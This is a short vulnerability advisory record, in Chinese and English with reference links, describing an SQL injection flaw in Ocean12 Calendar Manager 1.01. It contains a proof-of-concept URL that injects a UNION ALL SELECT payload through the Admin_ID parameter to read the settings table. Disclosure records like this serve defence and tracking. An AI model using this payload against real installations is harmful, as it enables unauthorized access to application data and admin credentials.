https://www.exploit-db.com/exploits/25469
https://www.securityfocus.com/bid/82365
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200505-065

Ocean12Calendarmanager1.01中存在多个SQL注入漏洞允许远程攻击者通过Admin_id字段执行任意SQL命令。

source: http://www.securityfocus.com/bid/13279/info

Ocean12 Calendar Manager is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/products/calendar/demo/admin/?Admin_ID=Admin' UNION ALL SELECT
id,id,id,id,id,id,id,id,id,id,id,id,id,id,id,id,id,id,id,id,id,id,id,id,id,id,id,id,id,id,i d,id FROM settings WHERE
Admin_id='Admin&Password=1

Ocean12 Technologies Calendar Manager Pro 1.01

来源:XF
名称:ocean12-calendar-manager-sql-injection(20174)
链接:http://xforce.iss.net/xforce/xfdb/20174
来源:SECTRACK
名称:1013762
链接:http://www.securitytracker.com/alerts/2005/Apr/1013762.html
来源:SECUNIA
名称:15026
链接:http://secunia.com/advisories/15026
来源:BUGTRAQ
名称:20050420[HSCSecurityGroup]Ocean12Calendarmanager1.01SQLinjection
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=111401502007772&w;=2